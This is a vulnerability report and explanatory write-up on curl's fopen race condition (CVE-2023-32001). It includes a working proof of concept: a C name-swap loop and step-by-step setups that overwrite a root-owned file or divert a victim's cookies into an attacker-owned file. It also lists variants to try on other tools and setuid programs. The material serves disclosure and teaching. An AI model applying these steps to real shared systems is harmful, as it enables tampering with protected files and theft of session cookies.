CVE-2023-32001: fopen race condition
A race condition exists in curl's fopen wrapper between checking a file with stat and opening it with fopen. An attacker can exploit this to trick a victim into overwriting protected files or leaking sensitive cookies to an attacker-controlled file.
- Triaged in 13 days
- Fixed in 23 days
- Disclosed after 28 days
As we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ):
if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
/* a non-regular file, fallback to direct fopen() */
*fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...
There is a race condition between the moment "stat(filename, &sb)" is executed and the moment " fopen(filename, FOPEN_WRITETEXT);" is executed. This leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.
###POC/Steps to reproduce: Before we start, I will be using a little program called "rename". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
Open two terminals, with two different users. One will be the attacker terminal and the other the victim. In both POCs, the victim will want to execute a command such as "curl --cookie-jar a google.com" thinking the file "a" doesn't exist.
###A) Exploiting this vulnerability to trick a user to overwrite a file they own:
Assume the current directory of both attacker(selmelc) and victim (root) looks like this
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 07:11 b
-rw-r--r-- 1 root root 6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
The attacker executes ./rename a b, which will not stop to swap the name of the directory "b" and the symlink "a".
The victim executes their command "curl --cookie-jar a google.com". The race condition is successfully exploited if in the vulnerable code the stat identifies the file "a" as a directory and then the "fopen" opens the symlink that points to the file "flag". If that happened then the results looks like this :
...
-rw-r--r-- 1 root root 131 Jun 27 07:13 flag
...
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
Additional note: You might think "well that's just how symlinks work"... To clarify on that, by default if the victim was executing "curl --cookie-jar a google.com" without the attacker exploiting the vuln. a different behavior would occur ; the file "a" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.
###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:
As this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the "flag" file to be owned by the attacker as following:
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Normal curl behavior after the victim executed "curl --cookie-jar a google.com" :
-rw------- 1 root root 131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Behaviour when vulnerability is exploited (and race condition met) :
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc 131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
We can notice the 131 bytes of output in flag now, which would contain the sensitive cookies.
Impact
An attacker is able to overwrite files they shouldn't have access to, however the attacker does not control the data sent to those files. (Integrity, potentially availability issues if files likes /etc/passwd are modified through this). An attacker may also gain access to sensitive data (cookies), and even hide that information from the intended receiver as the attacker may control the file in which this information will be leaked. Note : cookie storing was used to demonstrate exploits for the vulnerability but the vulnerability also affects HSTS and alt-svc cache.
Context
curl, the command line tool and library, has a helper function Curl_fopen in lib/fopen.c that is used whenever curl needs to open a file for writing. Two of the features that go through it are the cookie jar (--cookie-jar) and the HSTS and alt-svc caches. When you pass --cookie-jar a, curl writes the Netscape cookie file format to the path you give it, creating or truncating the file as needed.
The function does a check before it opens the file: it calls stat() on the path and, if the result is a regular file, it takes one code path; if it is not a regular file (for example a directory), it falls back to a direct fopen(). The report is about the gap between that check and the open.
Setup
The researcher used two terminals logged in as two different users: one attacker account (selmelc) and one victim account (root). Both work in the same directory, which the attacker can write to. The victim's command in both proofs of concept is:
curl --cookie-jar a google.com
The victim runs this expecting a harmless write to the path a. The attacker needs a small helper program, rename, which atomically swaps the names of two paths in a loop. Its source, credited in the report to https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c, is:
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
The program calls renameat2 with RENAME_EXCHANGE in an endless loop, so the two paths passed as arguments trade places atomically, over and over, as fast as the kernel allows.
Finding it
The researcher points at lines 59 to 61 of lib/fopen.c in the curl repository (commit [redacted]):
if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
/* a non-regular file, fallback to direct fopen() */
*fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...
The check and the open are two separate operations on the same path. Between the moment stat(filename, &sb) runs and the moment fopen(filename, FOPEN_WRITETEXT) runs, the name can be made to refer to something else. That is a time-of-check to time-of-use race condition. The report describes two consequences: an attacker tricking a privileged user into overwriting protected files, and, because Curl_fopen also stores cookies, an attacker tricking another user into writing sensitive cookies into a file the attacker fully owns and controls.
Exploitation
Step 1: prepare the directory (overwrite variant)
The attacker and the victim share a directory that looks like this:
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 07:11 b
-rw-r--r-- 1 root root 6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
a is a symlink owned by the attacker pointing at flag, a file owned by root. b is a directory the attacker owns. rename is the helper binary.
Step 2: start the swap loop
The attacker runs:
./rename a b
This never stops swapping the name of the directory b and the symlink a. At any instant, the path a is either the directory or the symlink to flag.
Step 3: the victim writes the cookie jar
The victim runs curl --cookie-jar a google.com. If, inside the vulnerable code, stat sees a as a directory (a non-regular file), curl takes the fallback branch; if by the time fopen runs the name a has been swapped to the symlink, fopen follows it and opens flag for writing. The race is won when those two observations disagree.
Step 4: observe the result
When the race is won, the root-owned flag file has been overwritten with the cookie data:
...
-rw-r--r-- 1 root root 131 Jun 27 07:13 flag
...
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
The file is still owned by root, but it now begins with the Netscape cookie file header curl writes.
The researcher adds a note to distinguish this from ordinary symlink behaviour. Without the attack, running curl --cookie-jar a google.com would erase the symlink a and replace it with a regular file containing the cookie data. That is because stat follows symbolic links, so in the normal case the check does not enter the vulnerable branch at all.
Step 5: prepare the directory (cookie theft variant)
The second proof of concept uses the same logic, but the flag file is owned by the attacker:
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Step 6: compare normal and exploited behaviour
Normal curl behaviour after the victim runs curl --cookie-jar a google.com:
-rw------- 1 root root 131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
The symlink is gone, replaced by a root-owned regular file a with mode 0600 holding the cookies, and flag is untouched.
Behaviour when the vulnerability is exploited and the race condition is met:
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc 131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
The names have been exchanged: a is now the directory and b is the symlink to flag. The attacker-owned flag file now holds 131 bytes of output, which is the victim's sensitive cookie data. Because the attacker owns that file, they may read it, and the victim's cookie jar does not appear where the victim expects it.
Root cause
The check (stat plus S_ISREG) and the use (fopen) are performed as two separate path lookups. Nothing ties the object that was checked to the object that is opened, so a concurrent rename can substitute a different file between the two calls. The fallback branch exists precisely for non-regular files, and it is that branch that opens the path without any further validation.
The report does not describe any defence in curl that was meant to prevent this, and it does not state which release fixed it or how. The report notes only the default behaviour: because stat follows symlinks, a plain symlink at the target path is normally replaced rather than followed, so the vulnerable branch is not reached unless the name is changed mid-operation.
Impact
An attacker can overwrite files they should not have access to. The attacker does not control the data written to those files, so the effect is on integrity, and potentially on availability if files such as /etc/passwd are modified this way. An attacker can also gain access to sensitive data such as cookies, and can hide that leak from the intended receiver, because the attacker controls the file into which the information is written. The report notes that cookie storage was used to demonstrate the exploits, but the same vulnerability affects the HSTS and alt-svc caches.
Fix
The report does not describe a fix or a code change. A general remedy for this class of bug is to avoid the check-then-open pattern on a path: open the file once and validate the already-open descriptor (for example with fstat), or use flags that refuse to follow symlinks where that is the intended behaviour. Which of these curl adopted is not stated in the report.
Variants to test
- Other curl features that write through
Curl_fopen: point--hstsor--alt-svcat a path in a directory an attacker can rename within, run the swap loop, and check whether the file that ends up with the cache contents is one the attacker owns or one the victim should not have written. - Other tools with the same
statthenfopenpattern for cookie jars, caches or log files: a positive result is the written file appearing at a path that was a directory or symlink at check time, with the victim's data inside. - Privileged contexts: any setuid or root-run program that writes a user-specified output path is a candidate; success looks like a root-owned file whose contents are attacker-influenced but not attacker-chosen.
- Symlink-only attempts without the race: if the tool replaces the symlink with a regular file, the race is required, which confirms the check is following links and the window is the only way in.
What happened, in plain words
curl is a very common program for downloading things from the internet. It runs on the command line, and it is also a library that many other programs use. One of the things curl can do is save cookies to a file. Cookies are small pieces of data that a website asks your browser (or curl) to keep and send back on later requests, often to remember that you are logged in. If someone else gets your cookies, they can often act as you on that site.
When you tell curl to save cookies to a file, curl has to open that file for writing. Before it opens the file, it first checks what kind of thing is at that path: a normal file, a folder, a shortcut (a symlink), and so on. The bug in this report is that the check and the opening happen as two separate moments. In between, an attacker who can rename things in the same folder can swap what the path points to. So curl checks one thing and then opens a different thing. This kind of bug is called a time-of-check to time-of-use race condition, or TOCTOU for short. A simple comparison: a bouncer checks your ticket at the door, then you walk to your seat, and in the gap someone swaps the ticket in your hand for a different one. The check was real, but it was about a different object than the one that got used.
The report shows two consequences. First, an attacker can trick a more privileged user into overwriting a file that user should not be writing to. Second, because curl also uses this same file-opening helper to save cookies, an attacker can trick another user into writing their sensitive cookies into a file the attacker owns and controls, and can even hide that from the victim.
Context
curl is both a command line tool and a library. Inside curl there is a helper function called Curl_fopen, in the file lib/fopen.c. A function is a named block of code that does one job; other parts of the program call it when they need that job done. Curl_fopen is the function curl uses whenever it needs to open a file for writing.
Several curl features go through this function. One is the cookie jar, which you turn on with the --cookie-jar option. When you run --cookie-jar a, curl writes the cookies it has collected into a file at the path you gave, here a, in a standard text format called the Netscape cookie file format. It creates the file if it does not exist, or empties and rewrites it if it does. Two other features that use the same function are the HSTS cache and the alt-svc cache. These are small local records that help curl remember security settings for sites it has visited; you do not need the details to follow the bug, only that they also write files through Curl_fopen.
Before opening the file, the function does a check. It calls stat() on the path. stat() is a standard system call that asks the operating system: what is at this path, and what kind of thing is it? The answer includes whether it is a regular file (an ordinary file with contents), a directory (a folder), a symlink (a shortcut that points at another path), and so on. If the answer is a regular file, curl takes one code path. If it is not a regular file, for example a directory, curl falls back to calling fopen() directly. fopen() is the standard system call that actually opens a file for reading or writing. The report is about the gap between that check and that open.
Setup
The researcher used two terminals, logged in as two different users. A terminal is just a window where you type commands. One account was the attacker, named selmelc. The other was the victim, root. root is the superuser on Linux, the account that can do anything, so it stands in for a privileged user. Both users work in the same directory, and the attacker is able to write to it. That shared, attacker-writable folder is the precondition for the whole attack: if the attacker cannot rename things in the folder, there is nothing to swap.
The victim's command in both proofs of concept is:
curl --cookie-jar a google.com
Line by line: curl is the program. --cookie-jar a tells curl to save its cookies into a file called a in the current directory. google.com is the site curl will contact. The victim runs this expecting a harmless write to the path a.
The attacker needs a small helper program called rename. Its job is to swap the names of two paths, over and over, as fast as possible. The report credits its source to https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c. Here is the code:
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
Line by line, in plain words:
- The
#includelines pull in declarations from the C standard library and from Linux. You do not need to know each one; they are the vocabulary the program needs to talk to the operating system. #define _GNU_SOURCEasks the compiler to expose Linux-specific extras, which this program needs.- The comment records where the code came from.
int main(int argc, char *argv[])is the entry point.argv[1]andargv[2]are the two paths you pass on the command line.while (1)means loop forever. There is no exit condition.syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);is the whole trick.syscallasks the kernel to perform a system call directly.SYS_renameat2is the rename system call.AT_FDCWDmeans the paths are relative to the current working directory.argv[1]andargv[2]are the two names.RENAME_EXCHANGEis the important flag: instead of moving one name onto another, it swaps the two names in a single atomic step. Atomic here means the swap either fully happens or does not happen at all; another program looking at the names never sees a half-finished state.return 0;is never reached, because the loop never ends.
So the program makes the two paths trade places, over and over, as fast as the kernel allows. Any other program that looks at those paths will see one arrangement or the other, never something in between.
Finding it
The researcher points at lines 59 to 61 of lib/fopen.c in the curl repository, at commit [redacted]. A commit is a specific saved version of the code, so the line numbers refer to exactly that snapshot.
if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
/* a non-regular file, fallback to direct fopen() */
*fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...
Line by line:
if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {is the check.stat(filename, &sb)asks the operating system about the path infilenameand fills a structure calledsbwith the answer. Ifstatfails, it returns-1.S_ISREG(sb.st_mode)is a test that asks: is this a regular file? The!flips it, so the whole condition means: either the lookup failed, or the thing at the path is not a regular file. In either case, enter the block.- The comment says what the block is for: a non-regular file, so fall back to a direct
fopen(). *fh = fopen(filename, FOPEN_WRITETEXT);is the use. It opens the path for writing in text mode and stores the result where the caller expects it.- The
...and closing brace are elided parts of the function.
The problem is that the check and the open are two separate operations on the same path. Between the moment stat(filename, &sb) runs and the moment fopen(filename, FOPEN_WRITETEXT) runs, the name can be made to refer to something else. That is a time-of-check to time-of-use race condition. The report describes two consequences: an attacker tricking a privileged user into overwriting protected files, and, because Curl_fopen also stores cookies, an attacker tricking another user into writing sensitive cookies into a file the attacker fully owns and controls.
Exploitation
Step 1: prepare the directory (overwrite variant)
The attacker and the victim share a directory that looks like this:
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 07:11 b
-rw-r--r-- 1 root root 6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
This is the output of a directory listing, the kind you get from ls -l. Each line is one entry. The first column is the permissions and type. l at the start means a symlink, a shortcut that points at another path. d means a directory. - means a regular file. The next columns are the owner and group, then the size in bytes, then the date and time, then the name. So:
a -> flagis a symlink owned by the attacker, pointing atflag.bis a directory owned by the attacker.flagis a regular file owned byroot, the privileged user.renameis the helper program from the setup.
Step 2: start the swap loop
The attacker runs:
./rename a b
./ means run the program in the current directory. The two arguments are the two paths to swap. This never stops swapping the name of the directory b and the symlink a. At any instant, the path a is either the directory or the symlink to flag. The attacker does not need to know which; they just keep flipping.
Step 3: the victim writes the cookie jar
The victim runs curl --cookie-jar a google.com. Now the two moments in the vulnerable code can disagree. If, inside the vulnerable code, stat sees a as a directory, that is a non-regular file, so curl takes the fallback branch. If by the time fopen runs the name a has been swapped to the symlink, fopen follows it and opens flag for writing. The race is won when those two observations disagree: the check saw a directory, the open got the symlink.
Step 4: observe the result
When the race is won, the root-owned flag file has been overwritten with the cookie data:
...
-rw-r--r-- 1 root root 131 Jun 27 07:13 flag
...
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
Line by line: the first line shows flag is still owned by root, but its size is now 131 bytes, where before it was 6. The prompt line shows the victim running cat flag, which prints a file's contents. The three lines that follow are the header of a Netscape cookie file, which is what curl writes at the top of a cookie jar. So the file is still owned by root, but it now begins with the Netscape cookie file header curl writes.
The researcher adds a note to distinguish this from ordinary symlink behaviour. Without the attack, running curl --cookie-jar a google.com would erase the symlink a and replace it with a regular file containing the cookie data. That is because stat follows symbolic links, so in the normal case the check does not enter the vulnerable branch at all. In other words, a plain symlink sitting there is not enough; the name has to change in the gap.
Step 5: prepare the directory (cookie theft variant)
The second proof of concept uses the same logic, but the flag file is owned by the attacker:
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Same layout as before, with one difference: flag is now owned by the attacker and is empty (size 0). The attacker can read anything written into it, because they own it.
Step 6: compare normal and exploited behaviour
Normal curl behaviour after the victim runs curl --cookie-jar a google.com:
-rw------- 1 root root 131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc 0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Line by line: the symlink is gone. In its place is a regular file a, owned by root, with mode 0600, which means only the owner can read and write it. It holds 131 bytes, the cookies. flag is untouched at size 0. This is the safe outcome: the victim's cookies stay in a file only the victim can read.
Behaviour when the vulnerability is exploited and the race condition is met:
drwxrwxrwx 2 selmelc selmelc 4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc 4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc 131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename
Line by line: the names have been exchanged. a is now the directory, and b is the symlink to flag. The attacker-owned flag file now holds 131 bytes of output, which is the victim's sensitive cookie data. Because the attacker owns that file, they may read it. And because the victim's cookie jar does not appear where the victim expects it, the leak can be hidden from the victim.
Root cause
The check (stat plus S_ISREG) and the use (fopen) are performed as two separate path lookups. Nothing ties the object that was checked to the object that is opened, so a concurrent rename can substitute a different file between the two calls. The fallback branch exists precisely for non-regular files, and it is that branch that opens the path without any further validation.
The report does not describe any defence in curl that was meant to prevent this, and it does not state which release fixed it or how. The report notes only the default behaviour: because stat follows symlinks, a plain symlink at the target path is normally replaced rather than followed, so the vulnerable branch is not reached unless the name is changed mid-operation.
Impact
An attacker can overwrite files they should not have access to. The attacker does not control the data written to those files, so the effect is on integrity, meaning the contents of a file can be changed in a way the owner did not intend. There is potentially an effect on availability too, if files such as /etc/passwd are modified this way. /etc/passwd is the file on Linux that lists user accounts; damaging it can break logins and the system. An attacker can also gain access to sensitive data such as cookies, and can hide that leak from the intended receiver, because the attacker controls the file into which the information is written. The report notes that cookie storage was used to demonstrate the exploits, but the same vulnerability affects the HSTS and alt-svc caches.
Fix
The report does not describe a fix or a code change. A general remedy for this class of bug is to avoid the check-then-open pattern on a path: open the file once and validate the already-open descriptor (for example with fstat), or use flags that refuse to follow symlinks where that is the intended behaviour. A descriptor is the handle the operating system gives you when a file is open; checking the handle instead of the name means the thing you checked is the thing you are using. Which of these curl adopted is not stated in the report.
Variants to test
- Other curl features that write through
Curl_fopen: point--hstsor--alt-svcat a path in a directory an attacker can rename within, run the swap loop, and check whether the file that ends up with the cache contents is one the attacker owns or one the victim should not have written. - Other tools with the same
statthenfopenpattern for cookie jars, caches or log files: a positive result is the written file appearing at a path that was a directory or symlink at check time, with the victim's data inside. - Privileged contexts: any setuid or root-run program that writes a user-specified output path is a candidate. Setuid means a program runs with the permissions of its owner rather than the person who launched it. Success looks like a root-owned file whose contents are attacker-influenced but not attacker-chosen.
- Symlink-only attempts without the race: if the tool replaces the symlink with a regular file, the race is required, which confirms the check is following links and the window is the only way in.
Glossary
- API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
- Atomic: an operation that either fully happens or does not happen at all, with no half-finished state visible to others.
- Availability: whether a system or file remains usable; damage to availability means something stops working.
- Commit: a specific saved version of a code repository, identified by a long hash.
- Cookie: a small piece of data a site asks a client to store and send back on later requests, often used to keep you logged in.
- Cookie jar: the file where curl saves its cookies, written in the Netscape cookie file format.
- curl: a command line tool and library for transferring data over the internet.
- Descriptor: the handle the operating system gives a program when a file is open, used to read, write or inspect that open file.
- Directory: a folder; a container for files and other directories.
fopen(): the standard system call that opens a file for reading or writing.fstat(): the variant ofstatthat inspects an already-open descriptor rather than a path.- HSTS cache: a local record of sites that told curl to only use secure connections.
- alt-svc cache: a local record of alternative services a site advertised for future connections.
- Integrity: whether a file's contents are what its owner intended; damage to integrity means contents were changed without permission.
- Kernel: the core of the operating system that manages files, processes and hardware.
- Library: reusable code that other programs can call instead of writing everything themselves.
- Mode
0600: file permissions meaning only the owner can read and write. - Netscape cookie file format: the standard text layout curl uses when saving cookies to a file.
- Race condition: a bug where the result depends on the timing of two operations, so an attacker who controls timing can change the outcome.
renameat2/RENAME_EXCHANGE: a Linux system call that renames paths, with a flag that swaps two names in one atomic step.root: the superuser account on Linux, which can do anything on the system.- Setuid: a property of a program that makes it run with its owner's permissions rather than the launching user's.
stat(): the standard system call that asks the operating system what is at a path and what kind of thing it is.S_ISREG: a test on the result ofstatthat asks whether the thing is a regular file.- Symlink: a shortcut file that points at another path; opening it opens the target.
- System call: a request from a program to the operating system kernel to do something, such as open a file.
- Terminal: a window where you type commands.
- Time-of-check to time-of-use (TOCTOU): a bug where something is checked at one moment and used at a later moment, and it can change in between.
--cookie-jar: the curl option that tells it where to save cookies.--hsts/--alt-svc: curl options that point its HSTS and alt-svc caches at a file.